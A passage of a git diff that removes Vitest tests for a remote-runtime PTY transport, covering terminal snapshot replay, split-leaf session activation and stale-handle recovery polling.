+++ b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-snapshot-replay.test.ts
@@ -48,89 +48,6 @@ describe('createRemoteRuntimePtyTransport', () => {
     resetRemoteRuntimeTransport()
   })
 
-  it('replays remote scrollback through the parser without firing stale attention events', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const onReplayData = vi.fn()
-    const onTitleChange = vi.fn()
-    const onBell = vi.fn()
-    const onAgentStatus = vi.fn()
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      onTitleChange,
-      onBell,
-      onAgentStatus
-    })
-
-    await transport.connect({ url: '', callbacks: { onReplayData } })
-    await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-    const { streamId } = latestSubscribePayload()
-    emitSnapshot(
-      streamId,
-      'before\x1b]9999;{"state":"working","prompt":"old","agentType":"codex"}\x07after\x1b]0;Remote title\x07\x07'
-    )
-
-    expect(onReplayData).toHaveBeenCalledWith('beforeafter\x1b]0;Remote title\x07\x07', {
-      carriesNormalBuffer: true
-    })
-    await vi.waitFor(() =>
-      expect(onTitleChange).toHaveBeenCalledWith('Remote title', 'Remote title')
-    )
-    expect(onAgentStatus).not.toHaveBeenCalled()
-    expect(onBell).not.toHaveBeenCalled()
-  })
-
-  it('replays binary snapshot chunks without firing stale attention events', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const onReplayData = vi.fn()
-    const onTitleChange = vi.fn()
-    const onBell = vi.fn()
-    const onAgentStatus = vi.fn()
-    const onConnect = vi.fn()
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      onTitleChange,
-      onBell,
-      onAgentStatus
-    })
-
-    await transport.connect({ url: '', callbacks: { onReplayData, onConnect } })
-    await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-    const { streamId } = latestSubscribePayload()
-    emitSnapshot(
-      streamId,
-      'before\x1b]9999;{"state":"working","prompt":"old","agentType":"codex"}\x07after'
-    )
-
-    expect(onReplayData).toHaveBeenCalledWith('beforeafter', { carriesNormalBuffer: true })
-    expect(onAgentStatus).not.toHaveBeenCalled()
-    expect(onBell).not.toHaveBeenCalled()
-    expect(onConnect).toHaveBeenCalled()
-  })
-
-  // Why: a push buffered during a cancelled shutdown is the same folded image and must
-  // keep its flag when the rollback replays it.
-  it('flags a pushed snapshot replayed after a cancelled shutdown', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const { unregisterPtyDataHandlers, restorePtyDataHandlersAfterFailedShutdown } =
-      await import('../shutdown/pty-shutdown-data-suspension')
-    const onReplayData = vi.fn()
-    const transport = createRemoteRuntimePtyTransport('env-1', { worktreeId: 'wt-1' })
-
-    await transport.connect({ url: '', callbacks: { onReplayData } })
-    await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-    const { streamId } = latestSubscribePayload()
-    const ptyId = transport.getPtyId()
-    expect(ptyId).toBeTruthy()
-    const shutdown = unregisterPtyDataHandlers([ptyId ?? ''])
-    emitSnapshot(streamId, 'buffered image')
-    expect(onReplayData).not.toHaveBeenCalled()
-    restorePtyDataHandlersAfterFailedShutdown(shutdown)
-
-    await vi.waitFor(() =>
-      expect(onReplayData).toHaveBeenCalledWith('buffered image', { carriesNormalBuffer: true })
-    )
-  })
-
   it('paints a nonempty lossy initial snapshot once before resuming live output', async () => {
     const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
     const terminal = new Terminal({ cols: 80, rows: 24 })
@@ -180,101 +97,6 @@ describe('createRemoteRuntimePtyTransport', () => {
     terminal.dispose()
   })
 
-  it('resolves explicit binary snapshot requests without replaying into xterm', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const onReplayData = vi.fn()
-    const onData = vi.fn()
-    const onConnect = vi.fn()
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1'
-    })
-
-    await transport.connect({ url: '', callbacks: { onReplayData, onData, onConnect } })
-    await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-    const { streamId } = latestSubscribePayload()
-    emitSnapshot(streamId, 'initial')
-    expect(onReplayData).toHaveBeenCalledWith('initial', { carriesNormalBuffer: true })
-    expect(onConnect).toHaveBeenCalled()
-
-    const snapshotPromise = transport.serializeBuffer?.({ scrollbackRows: 5000 })
-    await vi.waitFor(() =>
-      expect(latestFrameForOpcode(TerminalStreamOpcode.SnapshotRequest)).toBeDefined()
-    )
-    const snapshotRequestFrame = latestFrameForOpcode(TerminalStreamOpcode.SnapshotRequest)
-    const snapshotRequestPayload = snapshotRequestFrame
-      ? decodeTerminalStreamJson<{ requestId?: number; scrollbackRows?: number }>(
-          snapshotRequestFrame.payload
-        )
-      : null
-    expect(snapshotRequestFrame?.streamId).toBe(streamId)
-    expect(snapshotRequestPayload).toMatchObject({ requestId: 1, scrollbackRows: 5000 })
-
-    emitSnapshotFrame(
-      streamId,
-      TerminalStreamOpcode.SnapshotStart,
-      encodeTerminalStreamJson({
-        kind: 'scrollback',
-        requestId: snapshotRequestPayload?.requestId,
-        cols: 132,
-        rows: 43,
-        seq: 17,
-        source: 'headless'
-      })
-    )
-    emitSnapshotFrame(
-      streamId,
-      TerminalStreamOpcode.SnapshotChunk,
-      encodeTerminalStreamText('requested snapshot')
-    )
-    emitSnapshotFrame(streamId, TerminalStreamOpcode.SnapshotEnd, new Uint8Array())
-
-    await expect(snapshotPromise).resolves.toEqual({
-      data: 'requested snapshot',
-      cols: 132,
-      rows: 43,
-      seq: 17,
-      source: 'headless',
-      carriesNormalBuffer: true
-    })
-    expect(onReplayData).toHaveBeenCalledTimes(1)
-    expect(onData).not.toHaveBeenCalledWith('requested snapshot', expect.anything())
-  })
-
-  it('forwards requested snapshot availability through the remote transport', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', { worktreeId: 'wt-1' })
-
-    await transport.connect({ url: '', callbacks: {} })
-    await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-    const { streamId } = latestSubscribePayload()
-    emitSnapshot(streamId, 'initial')
-
-    const outcomePromise = transport.serializeBufferOutcome?.({ scrollbackRows: 5000 })
-    await vi.waitFor(() =>
-      expect(latestFrameForOpcode(TerminalStreamOpcode.SnapshotRequest)).toBeDefined()
-    )
-    const requestFrame = latestFrameForOpcode(TerminalStreamOpcode.SnapshotRequest)
-    const request = requestFrame
-      ? decodeTerminalStreamJson<{ requestId?: number }>(requestFrame.payload)
-      : null
-    emitSnapshotFrame(
-      streamId,
-      TerminalStreamOpcode.SnapshotStart,
-      encodeTerminalStreamJson({
-        requestId: request?.requestId,
-        cols: 120,
-        rows: 40,
-        unavailable: 'no-serializable-buffer'
-      })
-    )
-    emitSnapshotFrame(streamId, TerminalStreamOpcode.SnapshotEnd, new Uint8Array())
-
-    await expect(outcomePromise).resolves.toMatchObject({
-      availability: { kind: 'retry-worthy', cause: 'host-no-serializable-buffer' },
-      snapshot: { data: '' }
-    })
-  })
-
   it('keeps initial replay separate from in-flight explicit binary snapshot requests', async () => {
     const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
     const onReplayData = vi.fn()
@@ -330,37 +152,4 @@ describe('createRemoteRuntimePtyTransport', () => {
     })
     expect(onReplayData).toHaveBeenCalledTimes(1)
   })
-
-  it('bounds oversized binary snapshots without closing the live stream', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const onReplayData = vi.fn()
-    const onData = vi.fn()
-    const onError = vi.fn()
-    const onConnect = vi.fn()
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1'
-    })
-
-    await transport.connect({ url: '', callbacks: { onReplayData, onData, onError, onConnect } })
-    await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-    const { streamId } = latestSubscribePayload()
-
-    emitSnapshotFrame(
-      streamId,
-      TerminalStreamOpcode.SnapshotStart,
-      encodeTerminalStreamJson({ kind: 'scrollback' })
-    )
-    emitSnapshotFrame(streamId, TerminalStreamOpcode.SnapshotChunk, new Uint8Array(1024 * 1024))
-    emitSnapshotFrame(streamId, TerminalStreamOpcode.SnapshotChunk, new Uint8Array(1024 * 1024))
-    emitSnapshotFrame(streamId, TerminalStreamOpcode.SnapshotChunk, new Uint8Array(1))
-    emitSnapshotFrame(streamId, TerminalStreamOpcode.SnapshotEnd, new Uint8Array())
-    emitOutput(streamId, 'live-after-overflow')
-
-    expect(onReplayData).not.toHaveBeenCalled()
-    // Why: an oversized snapshot is skipped but live output continues, so the
-    // transport classifies it as benign and never surfaces a fatal red banner.
-    expect(onError).not.toHaveBeenCalled()
-    expect(onConnect).toHaveBeenCalled()
-    expect(onData).toHaveBeenCalledWith('live-after-overflow', expect.objectContaining({ seq: 1 }))
-  })
 })
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-split-leaf-activation.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-split-leaf-activation.test.ts
deleted file mode 100644
index 72e3c88efe6..00000000000
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-split-leaf-activation.test.ts
+++ /dev/null
@@ -1,639 +0,0 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { createRemoteRuntimeTransportMocks } from '../remote/remote-runtime-pty-transport-test-harness'
-import type { MultiplexSubscriptionCallbacks } from '../remote/remote-runtime-pty-transport-stream-fixtures'
-
-const appStore = vi.hoisted(() => ({
-  getState: vi.fn(() => {
-    throw new Error('These transport fixtures must not read app-store ownership')
-  })
-}))
-
-vi.mock('@/store/index', () => ({ useAppStore: { getState: appStore.getState } }))
-
-afterEach(() => {
-  expect(appStore.getState).not.toHaveBeenCalled()
-})
-
-let subscriptionCallbacks: MultiplexSubscriptionCallbacks = null
-let resolvedPaneHandle = 'terminal-1'
-
-const { runtimeCall, subscriptionSendBinary, latestSubscribePayload, resetRemoteRuntimeTransport } =
-  createRemoteRuntimeTransportMocks({
-    getCallbacks: () => subscriptionCallbacks,
-    setCallbacks: (callbacks) => {
-      subscriptionCallbacks = callbacks
-    },
-    getResolvedPaneHandle: () => resolvedPaneHandle,
-    setResolvedPaneHandle: (handle) => {
-      resolvedPaneHandle = handle
-    }
-  })
-
-describe('createRemoteRuntimePtyTransport', () => {
-  beforeEach(() => {
-    resetRemoteRuntimeTransport()
-  })
-
-  it('activates pending host session mirrors instead of creating duplicate terminals', async () => {
-    runtimeCall.mockImplementation((args) => {
-      if (args.method === 'session.tabs.activate') {
-        return Promise.resolve({
-          ok: true,
-          result: {
-            worktree: 'id:wt-1',
-            publicationEpoch: 'epoch-1',
-            snapshotVersion: 1,
-            activeGroupId: 'group-1',
-            activeTabId: 'host-tab-1::leaf-1',
-            activeTabType: 'terminal',
-            tabs: [
-              {
-                type: 'terminal',
-                id: 'host-tab-1::leaf-1',
-                parentTabId: 'host-tab-1',
-                leafId: 'leaf-1',
-                title: 'Terminal 1',
-                isActive: true,
-                status: 'pending-handle',
-                terminal: null
-              }
-            ]
-          }
-        })
-      }
-      if (args.method === 'session.tabs.list') {
-        return Promise.resolve({
-          ok: true,
-          result: {
-            worktree: 'id:wt-1',
-            publicationEpoch: 'epoch-1',
-            snapshotVersion: 2,
-            activeGroupId: 'group-1',
-            activeTabId: 'host-tab-1::leaf-1',
-            activeTabType: 'terminal',
-            tabs: [
-              {
-                type: 'terminal',
-                id: 'host-tab-1::leaf-1',
-                parentTabId: 'host-tab-1',
-                leafId: 'leaf-1',
-                title: 'Terminal 1',
-                isActive: true,
-                status: 'ready',
-                terminal: 'terminal-1'
-              }
-            ]
-          }
-        })
-      }
-      return Promise.resolve({ ok: true, result: { terminal: { handle: 'duplicate-terminal' } } })
-    })
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'web-terminal-host-tab-1',
-      leafId: 'leaf-1'
-    })
-
-    const result = await transport.connect({ url: '', callbacks: {} })
-
-    expect(result).toEqual({
-      id: 'remote:env-1@@terminal-1',
-      replay: '',
-      isReattach: true
-    })
-    expect(runtimeCall).toHaveBeenCalledWith(
-      expect.objectContaining({
-        method: 'session.tabs.activate',
-        params: {
-          worktree: 'id:wt-1',
-          tabId: 'host-tab-1',
-          leafId: 'leaf-1',
-          notifyClients: false,
-          navigation: 'caller',
-          intent: 'user'
-        }
-      })
-    )
-    expect(runtimeCall).not.toHaveBeenCalledWith(
-      expect.objectContaining({
-        method: 'terminal.create'
-      })
-    )
-    await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-    expect(latestSubscribePayload()).toMatchObject({
-      terminal: 'terminal-1',
-      viewport: { cols: 80, rows: 24 }
-    })
-  })
-
-  it('retires a host mirror that is authoritatively absent', async () => {
-    runtimeCall.mockImplementation(async (args: { method: string }) => {
-      if (args.method === 'session.tabs.activate') {
-        return { ok: false, error: { code: 'runtime_error', message: 'tab_not_found' } }
-      }
-      if (args.method === 'session.tabs.list') {
-        // Why: the inventory — not activation's rejection — is what proves this leaf was removed,
-        // and a surviving sibling leaf is what makes the absence authoritative rather than a
-        // host that has not republished the tab yet.
-        return {
-          ok: true,
-          result: {
-            worktree: 'id:wt-1',
-            publicationEpoch: 'epoch-1',
-            snapshotVersion: 2,
-            activeGroupId: 'group-1',
-            activeTabId: 'host-tab-1::leaf-2',
-            activeTabType: 'terminal',
-            tabs: [
-              {
-                type: 'terminal',
-                id: 'host-tab-1::leaf-2',
-                parentTabId: 'host-tab-1',
-                leafId: 'leaf-2',
-                title: 'Terminal 2',
-                isActive: true,
-                status: 'ready',
-                terminal: 'terminal-2'
-              }
-            ]
-          }
-        }
-      }
-      if (args.method === 'terminal.recoverPane') {
-        return {
-          ok: true,
-          result: {
-            terminal: {
-              handle: 'terminal-created-on-hub',
-              tabId: 'host-tab-1',
-              leafId: 'leaf-1',
-              ptyId: 'ssh-private-pty',
-              worktreeId: 'wt-1'
-            }
-          }
-        }
-      }
-      return { ok: true, result: {} }
-    })
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('hub-env', {
-      worktreeId: 'wt-1',
-      tabId: 'web-terminal-host-tab-1',
-      leafId: 'leaf-1'
-    })
-
-    const onError = vi.fn()
-    await expect(transport.connect({ url: '', callbacks: { onError } })).resolves.toBeUndefined()
-    expect(onError).toHaveBeenCalledWith('Remote terminal was closed.')
-    expect(runtimeCall).not.toHaveBeenCalledWith(
-      expect.objectContaining({ method: 'terminal.recoverPane' })
-    )
-    expect(runtimeCall).not.toHaveBeenCalledWith(
-      expect.objectContaining({ method: 'terminal.create' })
-    )
-  })
-
-  it('activates the requested split leaf for pending host session mirrors', async () => {
-    runtimeCall.mockImplementation((args) => {
-      if (args.method === 'session.tabs.activate') {
-        return Promise.resolve({
-          ok: true,
-          result: {
-            worktree: 'id:wt-1',
-            publicationEpoch: 'epoch-1',
-            snapshotVersion: 1,
-            activeGroupId: 'group-1',
-            activeTabId: 'host-tab-1::leaf-2',
-            activeTabType: 'terminal',
-            tabs: [
-              {
-                type: 'terminal',
-                id: 'host-tab-1::leaf-1',
-                parentTabId: 'host-tab-1',
-                leafId: 'leaf-1',
-                title: 'Terminal 1',
-                isActive: false,
-                status: 'pending-handle',
-                terminal: null
-              },
-              {
-                type: 'terminal',
-                id: 'host-tab-1::leaf-2',
-                parentTabId: 'host-tab-1',
-                leafId: 'leaf-2',
-                title: 'Terminal 2',
-                isActive: true,
-                status: 'pending-handle',
-                terminal: null
-              }
-            ]
-          }
-        })
-      }
-      if (args.method === 'session.tabs.list') {
-        return Promise.resolve({
-          ok: true,
-          result: {
-            worktree: 'id:wt-1',
-            publicationEpoch: 'epoch-1',
-            snapshotVersion: 2,
-            activeGroupId: 'group-1',
-            activeTabId: 'host-tab-1::leaf-2',
-            activeTabType: 'terminal',
-            tabs: [
-              {
-                type: 'terminal',
-                id: 'host-tab-1::leaf-1',
-                parentTabId: 'host-tab-1',
-                leafId: 'leaf-1',
-                title: 'Terminal 1',
-                isActive: false,
-                status: 'ready',
-                terminal: 'terminal-1'
-              },
-              {
-                type: 'terminal',
-                id: 'host-tab-1::leaf-2',
-                parentTabId: 'host-tab-1',
-                leafId: 'leaf-2',
-                title: 'Terminal 2',
-                isActive: true,
-                status: 'ready',
-                terminal: 'terminal-2'
-              }
-            ]
-          }
-        })
-      }
-      return Promise.resolve({ ok: true, result: { terminal: { handle: 'duplicate-terminal' } } })
-    })
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'web-terminal-host-tab-1',
-      leafId: 'leaf-2'
-    })
-
-    const result = await transport.connect({ url: '', callbacks: {} })
-
-    expect(result).toEqual({
-      id: 'remote:env-1@@terminal-2',
-      replay: '',
-      isReattach: true
-    })
-    expect(runtimeCall).toHaveBeenCalledWith(
-      expect.objectContaining({
-        method: 'session.tabs.activate',
-        params: {
-          worktree: 'id:wt-1',
-          tabId: 'host-tab-1',
-          leafId: 'leaf-2',
-          notifyClients: false,
-          navigation: 'caller',
-          intent: 'user'
-        }
-      })
-    )
-    expect(runtimeCall).not.toHaveBeenCalledWith(
-      expect.objectContaining({
-        method: 'terminal.create'
-      })
-    )
-  })
-
-  it('does not attach a pending split leaf to a ready sibling', async () => {
-    let listCount = 0
-    runtimeCall.mockImplementation((args) => {
-      if (args.method === 'session.tabs.activate') {
-        return Promise.resolve({
-          ok: true,
-          result: {
-            worktree: 'id:wt-1',
-            publicationEpoch: 'epoch-1',
-            snapshotVersion: 1,
-            activeGroupId: 'group-1',
-            activeTabId: 'host-tab-1::leaf-2',
-            activeTabType: 'terminal',
-            tabs: [
-              {
-                type: 'terminal',
-                id: 'host-tab-1::leaf-1',
-                parentTabId: 'host-tab-1',
-                leafId: 'leaf-1',
-                title: 'Terminal 1',
-                isActive: true,
-                status: 'ready',
-                terminal: 'terminal-1'
-              },
-              {
-                type: 'terminal',
-                id: 'host-tab-1::leaf-2',
-                parentTabId: 'host-tab-1',
-                leafId: 'leaf-2',
-                title: 'Terminal 2',
-                isActive: false,
-                status: 'pending-handle',
-                terminal: null
-              }
-            ]
-          }
-        })
-      }
-      if (args.method === 'session.tabs.list') {
-        listCount += 1
-        return Promise.resolve({
-          ok: true,
-          result: {
-            worktree: 'id:wt-1',
-            publicationEpoch: 'epoch-1',
-            snapshotVersion: listCount + 1,
-            activeGroupId: 'group-1',
-            activeTabId: 'host-tab-1::leaf-2',
-            activeTabType: 'terminal',
-            tabs: [
-              {
-                type: 'terminal',
-                id: 'host-tab-1::leaf-1',
-                parentTabId: 'host-tab-1',
-                leafId: 'leaf-1',
-                title: 'Terminal 1',
-                isActive: false,
-                status: 'ready',
-                terminal: 'terminal-1'
-              },
-              {
-                type: 'terminal',
-                id: 'host-tab-1::leaf-2',
-                parentTabId: 'host-tab-1',
-                leafId: 'leaf-2',
-                title: 'Terminal 2',
-                isActive: true,
-                status: 'ready',
-                terminal: 'terminal-2'
-              }
-            ]
-          }
-        })
-      }
-      return Promise.resolve({ ok: true, result: { terminal: { handle: 'duplicate-terminal' } } })
-    })
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'web-terminal-host-tab-1',
-      leafId: 'leaf-2'
-    })
-
-    const result = await transport.connect({ url: '', callbacks: {} })
-
-    expect(result).toEqual({
-      id: 'remote:env-1@@terminal-2',
-      replay: '',
-      isReattach: true
-    })
-    expect(latestSubscribePayload()).toMatchObject({ terminal: 'terminal-2' })
-  })
-
-  it('stops polling when a requested split leaf disappears but siblings remain', async () => {
-    vi.useFakeTimers()
-    try {
-      runtimeCall.mockImplementation((args) => {
-        if (args.method === 'session.tabs.activate') {
-          return Promise.resolve({
-            ok: true,
-            result: {
-              worktree: 'id:wt-1',
-              publicationEpoch: 'epoch-1',
-              snapshotVersion: 1,
-              activeGroupId: 'group-1',
-              activeTabId: 'host-tab-1::leaf-2',
-              activeTabType: 'terminal',
-              tabs: [
-                {
-                  type: 'terminal',
-                  id: 'host-tab-1::leaf-1',
-                  parentTabId: 'host-tab-1',
-                  leafId: 'leaf-1',
-                  title: 'Terminal 1',
-                  isActive: false,
-                  status: 'ready',
-                  terminal: 'terminal-1'
-                },
-                {
-                  type: 'terminal',
-                  id: 'host-tab-1::leaf-2',
-                  parentTabId: 'host-tab-1',
-                  leafId: 'leaf-2',
-                  title: 'Terminal 2',
-                  isActive: true,
-                  status: 'pending-handle',
-                  terminal: null
-                }
-              ]
-            }
-          })
-        }
-        if (args.method === 'session.tabs.list') {
-          return Promise.resolve({
-            ok: true,
-            result: {
-              worktree: 'id:wt-1',
-              publicationEpoch: 'epoch-1',
-              snapshotVersion: 2,
-              activeGroupId: 'group-1',
-              activeTabId: 'host-tab-1::leaf-1',
-              activeTabType: 'terminal',
-              tabs: [
-                {
-                  type: 'terminal',
-                  id: 'host-tab-1::leaf-1',
-                  parentTabId: 'host-tab-1',
-                  leafId: 'leaf-1',
-                  title: 'Terminal 1',
-                  isActive: true,
-                  status: 'ready',
-                  terminal: 'terminal-1'
-                }
-              ]
-            }
-          })
-        }
-        return Promise.resolve({ ok: true, result: { terminal: { handle: 'duplicate-terminal' } } })
-      })
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const onError = vi.fn()
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'web-terminal-host-tab-1',
-        leafId: 'leaf-2'
-      })
-
-      const connect = transport.connect({ url: '', callbacks: { onError } })
-      await vi.advanceTimersByTimeAsync(150)
-
-      await expect(connect).resolves.toBeUndefined()
-      expect(onError).toHaveBeenCalledWith('Remote terminal was closed.')
-      expect(
-        runtimeCall.mock.calls.filter((call) => call[0].method === 'session.tabs.list')
-      ).toHaveLength(1)
-      await Promise.resolve()
-      await Promise.resolve()
-      expect(
-        runtimeCall.mock.calls.some((call) => call[0].method.startsWith('session.tabs.close'))
-      ).toBe(false)
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('leaves a timed-out pending split untouched without closing its parent', async () => {
-    vi.useFakeTimers()
-    try {
-      const splitSnapshot = {
-        worktree: 'id:wt-1',
-        publicationEpoch: 'epoch-1',
-        snapshotVersion: 1,
-        activeGroupId: 'group-1',
-        activeTabId: 'host-tab-1::leaf-2',
-        activeTabType: 'terminal',
-        tabs: [
-          {
-            type: 'terminal',
-            id: 'host-tab-1::leaf-1',
-            parentTabId: 'host-tab-1',
-            leafId: 'leaf-1',
-            title: 'Terminal 1',
-            isActive: false,
-            status: 'ready',
-            terminal: 'terminal-1'
-          },
-          {
-            type: 'terminal',
-            id: 'host-tab-1::leaf-2',
-            parentTabId: 'host-tab-1',
-            leafId: 'leaf-2',
-            title: 'Terminal 2',
-            isActive: true,
-            status: 'pending-handle',
-            terminal: null
-          }
-        ]
-      }
-      runtimeCall.mockImplementation((args) => {
-        if (args.method === 'session.tabs.activate' || args.method === 'session.tabs.list') {
-          return Promise.resolve({ ok: true, result: splitSnapshot })
-        }
-        return Promise.resolve({
-          ok: true,
-          result: {
-            terminal: {
-              handle: 'terminal-2',
-              tabId: 'host-tab-1',
-              leafId: 'leaf-2',
-              worktreeId: 'wt-1'
-            }
-          }
-        })
-      })
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const onError = vi.fn()
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'web-terminal-host-tab-1',
-        leafId: 'leaf-2'
-      })
-
-      const connect = transport.connect({ url: '', callbacks: { onError } })
-      await vi.advanceTimersByTimeAsync(15_000)
-
-      await expect(connect).resolves.toBeUndefined()
-      expect(onError).not.toHaveBeenCalled()
-      expect(runtimeCall).not.toHaveBeenCalledWith(
-        expect.objectContaining({ method: 'terminal.recoverPane' })
-      )
-      expect(
-        runtimeCall.mock.calls.some((call) => call[0].method.startsWith('session.tabs.close'))
-      ).toBe(false)
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('does not mutate a mirror whose handle readiness remains unknown', async () => {
-    vi.useFakeTimers()
-    try {
-      const pendingSnapshot = {
-        worktree: 'id:wt-1',
-        publicationEpoch: 'epoch-1',
-        snapshotVersion: 1,
-        activeGroupId: 'group-1',
-        activeTabId: 'host-tab-1::leaf-1',
-        activeTabType: 'terminal',
-        tabs: [
-          {
-            type: 'terminal',
-            id: 'host-tab-1::leaf-1',
-            parentTabId: 'host-tab-1',
-            leafId: 'leaf-1',
-            title: 'Terminal 1',
-            isActive: true,
-            status: 'pending-handle',
-            terminal: null
-          }
-        ]
-      }
-      runtimeCall.mockImplementation((args) => {
-        if (args.method === 'session.tabs.activate' || args.method === 'session.tabs.list') {
-          return Promise.resolve({ ok: true, result: pendingSnapshot })
-        }
-        return Promise.resolve({
-          ok: true,
-          result: {
-            terminal: {
-              handle: 'terminal-resolved',
-              tabId: 'host-tab-1',
-              leafId: 'leaf-1',
-              worktreeId: 'wt-1'
-            }
-          }
-        })
-      })
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const onError = vi.fn()
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'web-terminal-host-tab-1',
-        leafId: 'leaf-1'
-      })
-
-      const connect = transport.connect({ url: '', callbacks: { onError } })
-      await vi.advanceTimersByTimeAsync(15_000)
-
-      await expect(connect).resolves.toBeUndefined()
-      expect(onError).not.toHaveBeenCalled()
-      expect(runtimeCall).toHaveBeenCalledWith(
-        expect.objectContaining({ method: 'session.tabs.activate' })
-      )
-      const listCalls = runtimeCall.mock.calls.filter(
-        (call) => call[0].method === 'session.tabs.list'
-      )
-      expect(listCalls.length).toBeGreaterThan(0)
-      expect(listCalls.length).toBeLessThanOrEqual(101)
-      expect(runtimeCall).not.toHaveBeenCalledWith(
-        expect.objectContaining({
-          method: 'terminal.create'
-        })
-      )
-      expect(runtimeCall).not.toHaveBeenCalledWith(
-        expect.objectContaining({ method: 'terminal.recoverPane' })
-      )
-      const closeCalls = runtimeCall.mock.calls.filter((call) =>
-        String(call[0].method).startsWith('session.tabs.close')
-      )
-      expect(closeCalls).toEqual([])
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stale-handle-recovery.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stale-handle-recovery.test.ts
index 245c192b95f..1b279d162dc 100644
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stale-handle-recovery.test.ts
+++ b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stale-handle-recovery.test.ts
@@ -5,7 +5,6 @@ import {
 } from '../remote/remote-runtime-pty-transport-test-harness'
 import type { MultiplexSubscriptionCallbacks } from '../remote/remote-runtime-pty-transport-stream-fixtures'
 import './recovery/remote-runtime-pty-recovery-state'
-import { REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS } from './recovery/remote-runtime-pty-recovery-limits'
 
 const appStore = vi.hoisted(() => ({
   getState: vi.fn(() => {
@@ -45,116 +44,6 @@ describe('createRemoteRuntimePtyTransport', () => {
     resetRemoteRuntimeTransport()
   })
 
-  it('keeps polling an unavailable host inventory on the backoff ladder until the deadline', async () => {
-    vi.useFakeTimers()
-    const warn = vi.spyOn(console, 'warn').mockImplementation(() => {})
-    try {
-      resolvedPaneHandle = 'terminal-stable'
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const transport = createRemoteRuntimePtyTransport('hub-env', {
-        worktreeId: 'wt-1',
-        tabId: 'web-terminal-host-tab-1',
-        leafId: 'pane:1'
-      })
-
-      transport.attach({
-        existingPtyId: 'remote:hub-env@@terminal-stable',
-        callbacks: {}
-      })
-      await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-      const oldStreamId = latestSubscribePayload().streamId
-      emitSnapshot(oldStreamId, 'before inventory outage')
-
-      let hostListCalls = 0
-      runtimeCall.mockImplementation(async (args: { method: string }) => {
-        if (args.method === 'session.tabs.list') {
-          hostListCalls += 1
-          throw new Error('runtime reconnect in progress')
-        }
-        return { ok: true, result: {} }
-      })
-
-      subscriptionCallbacks?.onResponse({
-        ok: true,
-        result: { type: 'end', streamId: oldStreamId, code: 0 }
-      })
-      await vi.advanceTimersByTimeAsync(32_000)
-      const callsAfterTwoWindows = hostListCalls
-      // Why: a parked third window made no attempt for the rest of the deadline (#27178).
-      await vi.advanceTimersByTimeAsync(20_000)
-      expect(hostListCalls).toBeGreaterThan(callsAfterTwoWindows)
-
-      await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS)
-      expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-      const callsAtDeadline = hostListCalls
-      await vi.advanceTimersByTimeAsync(60_000)
-      expect(hostListCalls).toBe(callsAtDeadline)
